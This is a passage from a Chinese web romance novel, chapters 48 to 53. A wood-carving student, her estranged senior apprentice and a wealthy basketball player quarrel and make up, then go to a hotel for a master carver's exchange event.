孟棠没理他,奈何魏川不厌其烦在她耳边叨叨。 孟棠停下来,转头说:“我退却了。” 魏川怔住:“什么意思?” “泠音喝醉那天的事,在我心里留下了小小的一片阴影。” “我没有怪他,这话是真的,只是这件事,对我是有影响的。” 片刻失神后,魏川换了个问法:“你的意思是……你不打算告白了?” 第48章 不理 孟棠确实有这个想法,她不觉得一点好感就一定要把人追到。 她的沉默让魏川心口一堵。 不过和李寒津吃了顿饭,连许鹤清都放弃了。 他俩曾经十几年的感情像一道影子,孟棠摆脱不掉。 冲动占据上风,魏川酸里酸气地问:“他真的只是你师兄?” 孟棠心口一突:“你什么意思?” 魏川迟疑道:“你对他……” 孟棠觉得荒唐,李寒津和魏川竟然互相质疑她跟对方有一腿。 孟棠冷了神色,转身就走。 魏川大步追上去:“孟棠。” 孟棠这次是真的生气了,任由魏川追到寝室门口也没回他一句。 魏川失魂落魄回了寝室。 “川哥。”田聿见到他,殷勤地叫了声,“你事情办好了?” 魏川敷衍地“嗯”了声,也没管田聿怎么在这里。 他将手机扔到桌上,拿起锦鲤书签翻来覆去地看。 “你办好了怎么还不高兴?”许鹤清从阳台进来,绕到魏川后边。 魏川见他还捧着他那些花花草草,一阵无语,觉得自己真是皇帝不急太监急。 可孟棠的退却,又在他心底留下一抹见不得光的窃喜,让他根本不敢深究。 魏川幽幽瞥他一眼:“你不懂。” 许鹤清:“……你不跟我说,我怎么懂?” 魏川盯着许鹤清,渐渐挺直了腰板,他和孟棠吵架,还不是为了许鹤清。 许鹤清往后一步:“你这么看着我干什么?怪瘆人的。” 魏川忽然起身,一把勾住许鹤清的脖子:“咱俩去阳台聊。” 许鹤清挣扎:“屋里开着空调你不聊?出去吹风?” 魏川仗着身高,将人强制性拖到阳台,转头利落地关上了门。 隐去了孟棠暗恋许鹤清的事,魏川将事情说了一遍。 许鹤清斜眼看他,笑得暧昧。 “操,”魏川搓了把鸡皮疙瘩,“你笑什么?” “你是不是烦孟棠跟你吵架了?”许鹤清一副过来人的样子。 “当然不是。”魏川激动反驳,“她……又不是我的谁,吵架就吵架呗,我是觉得那个李寒津不是个好人。” “那你挺武断的,人家是师兄妹,十几年的感情,哪是说割舍就能割舍的。” “孟棠跟他没关系。”魏川生怕许鹤清误会,“她就是因为我说了跟你差不多的话生气的。” 许鹤清觉得魏川真傻,孟棠摆明了喜欢他,被他猜测和李寒津有一腿,生气难道不正常? 许鹤清胳膊肘抵了下魏川:“我说你是不是打球打傻了?” 魏川神色迷茫:“什么意思?” “我的意思是你如果还想让她做你女……性朋友,”鉴于魏川的嘴硬,许鹤清突然拐了个弯,“你就得学会道歉,先哄好再说。” “怎么哄?” “前两天谢泠音喝醉,孟棠被我误伤,你不也哄得挺好。” “谁、谁哄了?”魏川梗着脖子,“不过我确实不应该那么说,不就是道歉嘛,我道就是了。” “哎,朽木可雕。” 魏川心绪骤然开阔,转头拿了手机给孟棠发了信息,问她睡没睡。 刚过十点,按理说,大学生就没这个点睡觉的。 但孟棠,还真不一定。 魏川抓耳挠腮想在今晚解决这事,又怕孟棠真睡了,打扰她休息。 手机就这么握了一夜,第二天也无人回应。 孟棠看了眼,就将手机静音扔进了包里,中午吃饭都没拿出来。 从修复实验室出来,她接到了陈洵礼的电话。 说李寒津得知她修复木雕,想要观摩,陈洵礼还和主任也通了气。 挂断电话,孟棠在修复实验室前的台阶上坐下。 昔年她和李寒津,生活上互相帮衬,技艺上互相切磋。 明明比她晚学几年,竟然跟她旗鼓相当,还被老爷子赞许,若是早学几年,只怕比她要厉害几倍。 孟棠知道自己是女生,腕力不足,从小苦练。 她虽然性格如木,也曾对老爷子这话耿耿于怀。 即便到如今,她也好奇,若是李寒津没有离开孟家,如今的技艺会到达哪一座高峰? 孟棠不由自主拿出手机,给李寒津拨去了电话。 她也想看看,四年的时间,他有没有比她厉害几倍。 去食堂吃了饭,孟棠直接站在修复室门口等李寒津。 进了里面,李寒津眸光一亮。 这座中型木雕已经修补完毕,无论从比例还是神韵,细节或是工艺来说,都是顶级佳作。 他转头开玩笑:“若是得不了金奖,给师兄打电话,我定砸了主办方的招牌。” 孟棠:“……四年不见,你崇尚暴力美学了?” 李寒津轻笑:“开个玩笑。” 孟棠稍稍给他让开位置:“看吧。” 李寒津驻足,片刻后说:“你这座木雕是案上观的最佳尺寸,盲僧腿盘三分于瀑前,看似打坐,实则听琴。” “看这松枝主干镂空,留有延展,就知道你吃透了这块木头的韧性。” “人物衣褶,随风而动,又用五处游丝毛雕展现了此情此景下,衣物轻盈灵动的特点。” “……” 李寒津从头到尾将孟棠的作品评了一番。 无一错处,孟棠抿了抿唇,让他再说修复细节。 李寒津从划痕、断裂修补技法到光学补偿,再到纹理伪造……说的与她修补的不谋而合。 孟棠看着李寒津,眼神十分复杂。 曾经,她把他当哥哥,当家人,但更多的,还是一个可敬的对手。 事实证明,老爷子没看走眼,李寒津确实天赋异禀。 出了修复室的门,孟棠拒绝了李寒津的邀约,独自一人去了小卖部,可却站在货架前放空了许久。 她不甘心,但服气。 旁边有人问她买不买东西,孟棠终于回神,从货架上随意拿了盒薯片,转头结账时,目光却落在了啤酒上。 她鬼使神差拿了一瓶。 结账的阿姨狐疑地看了孟棠一眼:“你是不是拿错了?” “啊?”孟棠下意识要回去换,被一只大手按住了。 “没拿错。” 孟棠转头,一张俊朗的笑脸闯入眼底。 “原来给男朋友买的,一共12,你扫码吧。” “他不是——” “我来吧。”魏川快速扫了码。 后面还有学生排队付款,魏川将手机放进兜里,一把扯住孟棠的手腕往外跑。 第49章 这么好哄 魏川拉着孟棠出了超市,往北走了一段后,忽然停下直勾勾盯着她。 孟棠撇过脸:“你看什么?” 想要道歉,又憋着点难言的羞怯,魏川小声嘀咕:“我还以为你不会跟我说话了。” 孟棠垂眸打开手机,将刚才买东西的钱发了过去。 “12块钱也值得给我。”魏川看了眼她手中的啤酒,“你买这个干什么?” “喝。” 魏川:“……” 他就多余问。 “咳……”魏川清了清嗓子,“你是不是还在生气?” 孟棠没回答,转头看到北边林荫下的椅子,走了过去。 这里夏天茂树遮阳,很多学生喜欢过来乘凉,冬天明显不受待见。 孟棠拆开薯片,捏一片塞进嘴里,咬得咔滋响。 还是不理人,魏川认命地坐过去,也不再扭捏,直言说: “我来道歉的,对不起。” 孟棠将薯片递过去,魏川一愣,这么好哄? 他狐疑地看着孟棠,试探道:“我能吃?” 孟棠点了点头。 魏川还是不确定:“我吃了咱俩就和好了?” 孟棠:“……我难道跟你闹掰了?” 昨天不过话赶话。 “没有,”魏川嬉皮笑脸捏了一片,“啤酒你要开吗?我帮你。” 孟棠将啤酒递过去:“我不喝,你看着办吧。” 魏川训练也是不可以喝的,他接过去,问:“你心情不好?怎么要买酒?” 有个人聊聊天,可以缓解一下郁闷的情绪。 孟棠侧眸漫不经心看了眼魏川,语气平静得像一潭死水: “跟李寒津见了一面,有点失落。” “怎么又是——”魏川猛地住嘴,朝孟棠卖乖地笑了下,“你不嫌弃就跟我说说呗,他怎么你了?” 嘴上这么说,心里却很不待见李寒津。 孟棠将修复实验室里的事跟魏川提了两句,魏川是近距离感受过孟棠木雕技艺的一个人。 这个李寒津的本事让孟棠产生要买醉消愁的情绪,可见天赋确实如她说的一样高。 所以孟棠在意难平没有赢过李寒津? 魏川用手比划了一个波浪形,说:“看,这里有无数个山峰,它们错落有致,远虚近实。他站在眼前的山峰上,你站在后面的山峰上,其实一样高,你非说自己比他矮,他说出来你的修复手法就代表他的手艺比你好吗?不一定吧?” 孟棠一言不发地看着魏川,等他说完,忽然问:“你说他这四年是不是又拜师了?” 魏川失笑:“我真看不出来,你好胜心这么重?” 孟棠吃完最后一片薯片,幽幽道:“我爷爷说了,手艺人,要么不做,做了就得做到行业顶峰。” 别人是妈妈说,她是爷爷说。 老头还怂恿她毕业就结婚生子呢,魏川转头问:“万一做不到呢?” 孟棠说:“爷爷说做不到就是技艺不到家。” 有天赋的人总有几分狂妄,这点不能说在孟棠身上体现得淋漓尽致,但她也有。 如果没有天赋,只怕老爷子当初也不会让她拿刀。 吃完一包薯片,孟棠从随身的包里拿出一个很小的保温杯。 魏川瞥了眼,是博物馆对面的商场里买的。 温水冲润了嗓子,孟棠歇够了,对魏川说:“这里有点冷,我们还是走吧。” 魏川起身:“你连晚饭都没吃,身体怎么扛冻?” “我去趟食堂吧。”孟棠边说边拿出手机,“问问泠音她们吃什么。” 几个人都在寝室,听到孟棠要给她们带饭,感激之情无以言表。 孟棠一一记下,说:“我吃完就给你们带回去。” “正好一道。”魏川提议,默默跟上去,“我也还没吃饭。” 孟棠想起他突然出现拉走了她,心下疑惑:“你刚才去超市是不是要买什么?” “我是路过。” 其实是很远看见她丢了魂似的,做贼般跟了一路。 孟棠:“……你路过就路过,把我扯出来干什么?” 魏川理直气壮:“本来就想给你道歉的,还不抓紧给你付个钱博个好感嘛。” “……”孟棠抬眼看身旁人傻钱多的这位,“你跟你朋友闹矛盾了,会给对方买东西?” 可不像啊,之前谢泠音喝醉,他对许鹤清明明是直来直往,上手就推。 “我很少跟朋友闹矛盾,”魏川对视回去,“大家有话直说,也不会放在心里。” “我也没放在心里。”孟棠说,“只是李寒津先前也和你一样,胡乱猜测试探我和你的关系。” 魏川一愣,在食堂侧门口停住:“那你怎么回答的?” “朋友啊。”孟棠一脸疑惑,“不然呢?” “……哦对、对。”魏川一脸讪笑。 孟棠进了食堂,魏川亦步亦趋,跟她买了同样的饭。 刚在餐椅上落座,孟棠的手机响了。 她看见来电,微微蹙起了眉。 魏川在对面看到了“李寒津”的名字,心想:这人太他妈阴魂不散了。 他不会喜欢孟棠吧? 师兄师妹、青梅竹马……越想越觉得有可能。 魏川戳了下米粉,问:“李寒津比你大几岁?” “七岁。”孟棠说,“也是我七岁那年来我家拜了师。” 那不就是同吃一锅饭?同住一屋檐? 魏川盯着来电显示,语气不自觉地酸:“不接吗?” 孟棠终于回过神接了电话,还对魏川小声说了:“谢谢提醒。” 魏川:“……” 心梗。 “小师妹,告诉你一个好消息。” 孟棠显得意兴阑珊:“什么好消息?” “苏勉苏大师来了Z市,我跟她有点交情,她下榻万合酒店,后天举办了一个小型的交流会,你要来吗?” “苏勉?”孟棠一愣,“她都好久没公开露面了,怎么会来Z市?” 李寒津说:“她近些年已经不太接活了,想用多年经验出一本书,途径Z市,收集素材来了。” 孟棠想了想:“什么时候啊?” 李寒津回:“后天晚上七点半,苏大师白天要出去采风。” “你让我想想吧。” 晚上的话,势必要在酒店住一晚。 “孟棠。”李寒津忽然一本正经地叫她,“我建议你过来,师父也曾夸过苏大师三刀成峰,这次的交流,我觉得有值得学习的地方。” “知道了。” 李寒津听出她话里的动摇,反倒没再催促,以轻松玩笑的口吻说: “我再告诉你一个好消息,出去了几年,我打算将工作室搬来Z市的艺术园区了。” 孟棠惊讶道:“你要将工作室搬来Z市?” 魏川猛地抬眼,什么意思?李寒津不走了? 第50章 上车 魏川忍到孟棠挂电话,张唇就问:“李寒津不走了?” 孟棠“嗯”了声:“房子都买好了,工作室的地址也确定了。” 魏川第一直觉是李寒津为了孟棠而来,也为了孟棠而留。 他右眼皮猛地一跳,抬手用指腹压了压,可越压,烦躁越是上涌。 色香味俱全的米粉都变得难以下咽。 魏川觑了眼孟棠:“他还跟你说了什么?” “有一个木雕的小型交流会在后天。”孟棠说,“是一个我很喜欢的大师。” “你要去吗?” “我在考虑,因为机会比较难得。” “李寒津也去?” “嗯。” “……” 魏川一顿饭心不在焉地吃完,孟棠挥一挥衣袖,不带走一片云彩地走了。 给室友们带了饭,她转头去阳台给家里老爷子打了电话,将苏勉来Z市的事说了。 孟遇春一听就知道她什么心思,说:“是不是想见人家?你只要报出我的名字,她一准见你。” “不是,我可以去,但……”想起李寒津,孟棠又说不下去了。 当年爷爷很生气,都动鞭子了。 可李寒津就那么跪着,打死不认错。 最后被逐出师门,却还允许他继续木雕,事情怪得很。 “有什么就说,吞吞吐吐的干什么?”孟遇春教导她习惯了,语气不自觉就上腔上调,“你对着木头下刀也这样犹豫不决?” 孟棠沉默几秒,还是说了:“我撞见李寒津了,他来我们学校开讲座,苏勉的事也是他告诉我的。” 手机那头沉默许久,孟遇春沉吟:“他跟你说什么没有?” 孟棠:“他将工作室搬到了Z市。” 孟遇春“嗯”了声,叮嘱道:“苏勉你想见就见,即便没有李寒津,我一个电话也能让你见,只是之后,你少跟他接触。” “爷爷……”孟棠迟疑了一会儿,“当年他——” 孟遇春冷硬地截断孟棠的话:“你只需要知道,我不会无缘无故逐他出门。” 孟棠几不可闻地叹了声气:“知道了。” 孟遇春又问了地址和时间,孟棠也没瞒着。 挂断电话,孟遇春顿了半晌,从手机里翻出陈洵礼的号码,拨了过去。 陈洵礼还在外面跟人吃饭,陡然接到老爷子的电话,差点没扔掉筷子。 这是要承认他二师兄的身份了? 哪知刚接起,质问就来了:“李寒津去你们学校开讲座是你的主意?” 陈洵礼作为“二师兄”,自然知道李寒津曾是孟遇春的关门弟子。 不过他和李寒津关系还行,便谄笑了声:“不是我的主意,是他主动找上我的,师父,怎么了?” “没事。”孟遇春说,“别叫我师父,我这辈子就孟棠一个徒弟,我给你打电话,是想借着以前两三年的情分向你打听一个人。” 陈洵礼立刻道:“您说。” 孟遇春:“孟棠是不是有个同学叫魏川?学体育的?” 陈洵礼一愣:“是有这人,您问他干什么?” 孟遇春:“把他号码给我,还有……这事不许跟孟棠说。” “不是,您好歹给我一个理由。”陈洵礼有些为难,“魏川是体院的宝,在准备一个篮球比赛,很重要的。” “我还能害他不成?我看他骨骼清奇,想问他要不要改行。” 陈洵礼:“……” 魏川一个五大三粗的体育生,去做木雕这种精细活? 孟遇春久久没听到回复,正色道:“他跟我家孟棠是朋友,之前来家里玩过,我找他有正事,不能给孟棠知道。” 陈洵礼:“行,那您等会儿,我给您查一下。” 孟遇春得到答复,挂了电话。 孟棠洗漱完坐在电脑前翻了下日历,才发现后天是周五,即便在外面住一晚也不用请假。 她当即拿出手机,在万合定了房间。 周五上完课,她回寝室收拾衣服,看得谢泠音一愣:“你要去哪儿?” 孟棠拍了下脑袋:“差点忙忘了,我今晚要出去一趟,明天再回。” “今晚不回来啊?”石岚也好奇地凑过来,“你要去哪儿?安不安全?” 孟棠说:“安全的,我在万合订了房间,木雕大师苏勉来Z市采风,晚上有个小型交流会,我去参加。” 杨可羡慕地“啧”了声,这种级别的大师可不是随随便便就能见到的。 在木雕这一行,孟棠的人脉资源强得可怕。 酒店房间下午两点后可以办理入住,孟棠打算三点过去。 李寒津打来电话,说来接她。 想起老爷子的叮嘱,孟棠说:“不用了,我自己过去。” “顺路的事。” “不用了。” 缄默几秒,李寒津没再坚持。 孟棠和室友打了招呼,背上包下了楼。 与此同时,魏川也坐上了回家的车。 还没过第一个红绿灯,手机忽然响起,是一串陌生号码。 他最烦这种,直接挂了,对方又拨了第二遍。 说不定真有事,魏川接起,只是不耐烦地“喂”了声。 “小魏同学,你跟孟棠在学校相处得怎么样?” 孟老头?魏川一下正襟危坐:“你怎么有我号码?” 孟遇春一副高深莫测的口吻:“这你别管,我孙女今晚要参加一个木雕大师在万合酒店举办的私人交流会,估计要在酒店过一夜——” “今晚?过一夜?”魏川陡地提高音量,“不是白天吗?” 孟遇春“呦”了声:“你也知道这事?” “不就是您那孽徒怂恿的孟棠。”魏川小人一般告状,“过夜是跟他一起吗?” 听到“孽徒”两个字,孟遇春哑了一瞬。 “严叔,立刻给我掉头。” 手机那头传来魏川急迫的吼声,孟遇春心虚地挂了电话。 也不是他故意放魏川去捣蛋,而是李寒津也在,他不放心。 魏川火急火燎让司机掉头,司机还以为他落了什么东西,在前头寻了一个掉头路段返回了Z大。 说来也巧,正好看到孟棠出了大门。 魏川等不及停车,直接降下迈巴赫的车窗往外喊:“孟棠!” 吼声震耳,孟棠被吓了一跳。 一抬眼,看到魏川面部紧绷,墨色瞳仁似要喷火。 “上车。” 车辆稳稳停在孟棠跟前,后排的车门被魏川推开,他的眼神和语气带着孟棠陌生的命令。 她愣了下,没动,却见魏川伸手,将她猝不及防拉进了车里。 第51章 开房 车门关上,咬合出大提琴的尾调,孟棠始料未及,和魏川大眼瞪小眼。 一扇门,隔绝了寒风和人潮,车厢内安静到诡异。 孟棠目光惊讶地颤动:“你……” “小川,走吗?”严叔从后视镜里偷偷觑了眼。 “你把我拉上车干嘛?”孟棠慌里慌张地放低音量,余光也瞄了一眼严叔。 魏川自动忽略了她的质问,看了眼她鼓鼓囊囊的背包,气不打一处来: “你就那么信任那个李寒津,你俩可是四年没见了,你还敢跟他去酒店?” “到时候谈天侃地,酒液过喉,你还能记得你姓什么?” 孟棠觉得他不可理喻:“……我什么时候跟他去酒店了,我是去见苏勉的,我自己订了房间。” 魏川急道:“你自己订了房间又怎么样,你信不信,换作是我,只要让酒店的人知道我俩是一道的,我有一百种方法进你房间。” “你进我房间干什么?”孟棠瞪着他,“赶紧开门,我要下车。” 魏川:“不是我要进你房间,我在假设,但凡今晚跟你同行的男人有个歪心思,你都会有危险,傻不傻?” 孟棠愣了下:“你是说李寒津?” 魏川哼了声。 “不会的,他不至于这么下作。”孟棠觉得他太谨慎,也觉得他这猜测好荒唐,“我好歹跟他认识十几年了。” 李家跟她家隔了两条街,她小时候就知道街上有个小霸王,但李寒津从没欺负过她。 “几十年也没用。”魏川霸道地说。 不然老爷子也不会拐弯抹角给他打电话。 据他分析,老爷子防的就是李寒津。 他都有老爷子授权了,这事便管定了。 “你是我爸还是我妈?”孟棠也不管前头司机了,“管那么宽?” 跟人争执时,她也是一副轻声细语的模样,惹得严叔从后视镜里看了好几眼,疑惑这是吵架的语调吗? 魏川理直气壮:“你爷爷给我打电话的,我当然得管,你要去也行,我送你。” 爷爷? 孟棠明显不信:“他怎么有你号码?” 魏川摇摇头:“我哪知道,要不你打电话问问?” 孟棠当即给老爷子拨了过去。 响了几声,对方接起”喂“了声。 “爷爷,你把我行踪告诉魏川了?” 失策失策,老爷子心虚地提高音量:“什么?” 孟棠又问了一遍,老爷子还是坚持自己听不见,还哭诉自己老了。 孟棠:“……” “什么听不见?”魏川拿过孟棠的手机,自己接了起来,“老头,不你跟我说——” “咳咳咳咳——” 一阵撕心裂肺的咳嗽让魏川猛地住了嘴。 魏川脑袋一动,明白了,原来是瞒着孟棠找他的。 魏川将手机给孟棠,发现老头已经挂了。 “……” 他看了眼手机,对孟棠讨好一笑:“不是你爷爷找我的,我东西落寝室了,回头看见你了。” 孟棠蹙着眉,事情确实像老爷子能做的,但他哪来的魏川号码? 老爷子跟学校里有联系的人…… 孟棠骤然轻笑,陈、洵、礼! 除了他,没别人。 孟棠简直无语了,没想到老爷子能当面一套背后一套。 可是她不明白老爷子的动机,如果只是担心她安全,为什么会找魏川? 明明上次去雁清的还有许鹤清和谢泠音。 没什么头绪,孟棠索性不想了,她也没空在这里陪魏川胡闹,抬手搭上车门,说: “我没空跟你闹,让司机把门打开。” 魏川知道她不可能改变主意,说:“急什么,又不是不让你去。” 孟棠收回手,扭过脸。 “我送你。”魏川给了高度关注他俩的严叔一个眼神,“去万合。” 严叔应了声,迈巴赫缓缓启动。 孟棠:“……” 她真想来一句:“少爷,太高调了。” 魏川见她没反驳,勾着唇得意地笑了下。 孟棠看着他这副“拿着鸡毛当令箭”的模样也想笑。 算了,虽然不知道老爷子是什么意思,但显然,魏川绝不可能放她下车。 到万合半小时的车程,她就当搭了同学的顺风车吧。 魏川嘴巴闲不住,问孟棠:“这个苏大师到底什么本事,让你这么向往?你的木雕不是你爷爷教的吗?我还以为他是你偶像。” 孟棠笑了笑:“苏勉是以刀代笔的典型,她所学深受宋元山水画的影响,擅长用简练线条造出‘远山无皴,远水无波’的意境。” “她的技艺登峰造极,连我爷爷也佩服的。” 说到喜欢的东西,孟棠的眉眼间落下层层温柔。 魏川一句也听不懂,目光落在她一张一合的唇上。 唇色很健康,透着淡淡的粉,她应该涂了一层润唇膏,张唇间闪过温润莹光。 孟棠侧眸,发现魏川痴痴地盯着她看,心口莫名一撞:“你、你看什么?” 魏川忽然撇过了头,抬手抓脸又摸颈,没事找事的样子。 孟棠也转过脸,看着窗外一言不发。 车内陷入安静,到酒店的十分钟,空气都变得尴尬黏稠,还夹杂着说不清道不明的暧昧。 终于下了车,酒店门童过来迎宾,帮着孟棠开了车门。 魏川对要跟下来的严叔说:“你回去,不要乱说,我明晚再回去。” 严叔伸出尔康手:“少爷,老太太在家等着呢。” “你跟奶奶解释一下。”魏川说,“就说他孙子在助人为乐。” 严叔:“……” 确定不是当跟屁虫? 魏川想做的事情,一般人拦不住,反正有祸先闯再说。 他从包里拿了身份证,跟上孟棠到前台,啪一声拍上去:“开房。” 前台被吓一跳,抬头的瞬间,立刻换上了专业笑容。 “目前我们酒店房间还剩有两种房型,一种是豪华大床房,落地窗可看城市夜景,带双人按摩浴缸;另外一种是行政套房,免费送香槟和巧克力拼盘,情侣的话,我们更推荐专为情侣打造的甜蜜套房,您看您要哪一种?” “甜蜜套房?”魏川一愣,“为什么给我推荐这个?” 前台看向孟棠:“两位不是情侣吗?” 魏川和孟棠对视一眼,瞳孔颤抖成一个频率,同时朝前台喊:“我们不是情侣。” “呃……”前台一懵。 第52章 你选谁 孟棠朝前台笑了笑,拿起魏川的身份证塞到他手中,随后将他拉到远一点的角落,质问: “你干什么?” 魏川一脸无辜:“开房啊。” 孟棠:“……你别捣乱行不行?” “我没捣乱。”魏川一脸认真,“马上圣诞节是我生日,我来看看这个酒店怎么样,说不定在这里办一场派对。” 孟棠无言以对,多么正大光明的理由。 李寒津从楼上来到酒店大堂,本意是接孟棠,看到大堂角落里拉扯的两人脚步一滞。 随后,他走到前台,敲了敲台面:“那边什么情况?” 前台见证了魏川和孟棠“吵架”的各种小表情和拉扯,微微一笑:“估计小情侣吵架了。” 李寒津一愣:“你说什么?” 前台自觉多言,对李寒津礼貌又讨好地笑了下。 李寒津咬着后槽牙,轻嗤了声走了过去,还没到跟前,就叫了声“孟棠”。 一听熟悉的声音,孟棠和魏川同时转过头。 孟棠抬眼:“你怎么在这儿?” 李寒津说:“下来接你。” 说着不经意瞥了眼魏川,眼神带着厌恶,魏川也彼此彼此,转头对孟棠说:“我先去开房,你多少层?” 孟棠:“……17。” 魏川越过李寒津,“一不小心”撞了下他的肩膀。 李寒津体格不如他,整个人向后踉跄了两步。 孟棠一眼看出魏川是故意的,尴尬地朝李寒津笑了笑。 李寒津状似不经意地问:“他为什么过来?” 孟棠:“……” 防你的。 “刚才前台还说你俩是情侣,说要一起开房。” 孟棠真的心累了,一句话都懒得解释,晃了下自己的身份证,说: “我去办理入住,你自便。” 李寒津一愣,没料到孟棠没有解释。 他站了许久,直至魏川和孟棠拿了房卡才跟上去。 电梯门前,魏川微微倾身,用肩膀抵了下孟棠,贱兮兮道:“我也17楼。” “知道,你能不能站好?我快被你挤到垃圾桶里了。”孟棠语气很无奈。 魏川摸了摸鼻子,默默偏开了点距离。 李寒津将一切看在眼里,眸底泛着幽暗的光。 电梯到了,他跟进去,和魏川一左一右夹着孟棠。 孟棠往前动一步,几乎贴着门。 好在17楼眨眼之间就到了,孟棠率先出了电梯门。 李寒津也要跟着下,魏川仗着身高快他一步,堵在电梯口,说: “李专家,您忙吧,我送孟棠回房间。” 李寒津冷笑一声:“你跟过来是什么意思?还让前台误会你跟孟棠是情侣关系?小把戏会不会太明显了?” 魏川不上他的当,神秘一笑:“受人之托,忠人之事。” 说完,他出了电梯,追上了孟棠。 “离七点半还早,要不咱俩叫个餐?”魏川亦步亦趋。 孟棠拍了拍包:“我要先洗澡收拾一下。” 虽然是私人交流会,但总不能穿得和在木雕工作室一样粗糙随意。 魏川厚脸皮道:“你洗你的呗,我先回房叫餐,你洗好我给你送过来,咱俩一起吃。” 现在也快五点了,孟棠确实有些饿,她刷卡进门,说: “那你先点餐吧,到时候咱俩AA。” 魏川没跟她犟,要是不跟她AA,估计不会吃他买的东西。 “行,那我也先回房了。” 他边走边打开外卖软件,认认真真逛了起来。 与此同时,司机将车开回了魏家。 老太太许久不见孙子,亲自来门口迎接,可车内除了司机空空如也。 “小川呢?” 司机颔首恭敬道:“少爷说他今晚不回来了。” 魏川的母亲楚茵细眉蹙起:“什么叫不回来了?全家等他一个,他放全家鸽子,这个混蛋玩意去哪儿了?” 隐瞒不了,司机说:“少爷跟朋友去了万合酒店。” “他去那儿干嘛?”楚茵愣了下,“是跟秦家那小子一起吗?” 司机摇了摇头。 楚茵急了:“那是跟谁?” 司机:“跟他女同学。” 楚茵倒吸一口凉气:“他什么时候不学好的呀,不行,我得给他打个电话。” “夫人。”司机连忙阻止,“应该不是您想的那个意思,人家女同学挺不待见少爷的,是少爷硬把人家拽上车的。” “舔狗啊。”楚茵不可置信地看着司机,“老严,你没诓我吧?我儿子耶,人高腿长八块腹肌,有颜有钱有德有品,他去当舔狗?这什么天仙啊?” 老严一味憨笑。 “不行,我得去把把关。” 楚茵风风火火就要走,被老太太一把拦下。 “小川都20了,也该谈恋爱了,他什么性格你心里没数?你要是敢去,他就敢撒泼。” 楚茵一噎,魏川十分讨厌别人干涉他的事,家人也不行。 楚茵退了一步,既然不让去,她去查查是哪位天仙,不过分吧? 孟棠洗完澡十来分钟,魏川的电话进来了,说外卖全都到了,他就在门外。 发梢还湿着,孟棠搓了搓,关掉吹风机去开了门。 空气混着香甜扑面而来,魏川下意识屏住呼吸。 眼前的人黑发如瀑,仰头看他时嘴巴微张,露出一点点白,浓长的睫毛投下一小片可爱的阴影,脸颊晕染着两抹红,像上了妆。 魏川脚步跟沾了胶水似的,不敢往前动一步。 孟棠侧过身:“进来吧。” 魏川将外卖给他,有点紧张地说:“我……还是不进去了吧。” 孟棠垂眸,抬手数了数,六个外卖袋子,她无语了一瞬:“……你觉得我能吃完吗?” “那……”魏川往她房间瞄了眼,“我、我能进去?” 操啊,魏川你他妈这么紧张干嘛?声音都在发颤,丢死个人。 孟棠被他逗笑:“我刚才不是让你进来了?” 她站在门口的圆筒灯下,灯光倾泻,温柔地将她笼罩。 魏川不受控地踏出一步,忽然一道声音阻止进来:“小师妹。” 魏川笑意全无,转头看着同样拿着饭菜的李寒津。 孟棠踏出门,微讶:“你怎么来了?” 李寒津意有所指:“给你送饭,都是一些清淡的,晚上吃一些油腻的不太好消化。” 魏川斜眼过去:“点谁呢?” 李寒津着实没想到魏川当面跟他刚,却还笑得温和:“我没注意,要不一起吃?” “不好意思。”魏川一字一句,显得嚣张,“我不喜欢跟不熟的人一起吃饭。” 李寒津撇唇扬眉,还做了个“请”的手势:“既然不喜欢,你可以自己回房用餐,我跟小师妹还有些话要说,事关木雕,恐怕你也听不懂。” 魏川一噎,转过头将皮球直接踢给孟棠:“你选谁?” 孟棠:“……” 她到底为什么要夹在这两人中间? 似乎看透了她的心思,魏川先下手为强:“必须选一个。” 孟棠:“……” 第53章 别在这里睡 酒店的走廊里铺设着地毯,每个经过的人脚底虽然不会发出声音,但眼神好似带着声响。 孟棠指了指魏川:“你进来吧。” 魏川简直想仰天大笑三声,进门后还得寸进尺地问孟棠:“你为什么会选我?” 因为老爷子不让她和李寒津走得近。 孟棠见魏川得意的样儿,故意说:“先来后到。” “先来后到?”魏川一听就不乐意了,“也就是说,如果是他先来的,你就将我拦在门外了?” 孟棠不做假设,敷衍地哄了句:“现在被拦在门外的到底是谁?” 有生气的迹象,魏川识时务者为俊杰,笑了下,将外卖全都拿到圆木桌上打开。 孟棠闻到芝士的香味,凑了过去:“你买了什么?” 魏川说:“本来想买榴莲披萨的,又怕吃完有味,你去见人不太方便,就买了双拼,还买了墨鱼汁海鲜烩饭、意面和寿司拼盘,甜品和喝的也买了一些。” 外卖份量不算多,只能以数量填饱肚子。 沙发有点矮,孟棠让魏川过去坐,自己将椅子搬过来,坐他对面。 桌子不算大,摆得满满当当,孟棠指了指:“有点多,你能吃完吗?” “能。”魏川将海鲜烩饭递给她,“你先吃。” 孟棠一愣:“我吃完给你?” 魏川挠了下头:“没有空盒,我又不用你勺子吃,没事,我不嫌弃。” 是嫌弃的问题吗? 孟棠瞅了瞅桌面,将盖子拿过来,拨了一点烩饭,说:“这样就行了。” 她想每样都尝一下,只拨了掌心大一摊。 魏川将法式焦糖烤布蕾放到她跟前:“尝尝看,跟上次送你的蛋糕是同一家的。” “你只点了一份?”孟棠扫了眼桌子。 魏川摇摇头:“我不吃。” 他看着也不像委屈自己的人,孟棠顿了下,笑纳了。 她低头挖了一勺送进口中,满口浓郁的蛋奶香让她眯了下眼。 “怎么样?”魏川微微歪着头,等着孟棠的反馈,但凡她说一句不好,立刻让魏思沅关了她的甜品店。 孟棠顾不及说话,竖起大拇指点了点头。 甜而不腻。 魏川笑道:“其实这家店是我三姐开的,你以后想吃,可以找我,我给你打五折。” 孟棠:“……像你这样做生意,什么店也开不起来。” “你又不是天天吃。”魏川理由很充分,“魏思沅当演员不怎么样,性格还是大气的。” “你三姐是演员?”孟棠喝了口荔枝红茶拿铁,惊诧地看向魏川,“她演过什么电视剧啊?” 魏川将口中的饭嚼完,说:“都是一些小配角,没演过主角。” 吃了一块披萨,孟棠已经七八分饱,她靠向椅背缓了缓,说:“演得好,配角也会出彩啊。” 魏川笑了声:“关键她演不好啊,这段时间在请老师教她表演呢。” “有这个心也可以的。”孟棠说,“你们作为家人,还是要鼓励的。” 魏川表面上点头,心里觉得好笑,魏思沅哪里需要鼓励。 她那个人,脑回路清奇,自己就能把自己哄好。 吃完饭差不多七点,孟棠将桌子收拾了,魏川拎过垃圾,说他去扔。 孟棠漱口净面,换了衣服,拿着手机和房卡出了门。 左拐走几步就是电梯口,碰上回来的魏川,见他也要进电梯,孟棠一愣:“你干嘛去?” 魏川指了指上头:“我陪你一起上去。” “行政楼层不是对普通客人有限制吗?” 她也是因为苏勉邀请才得以上楼。 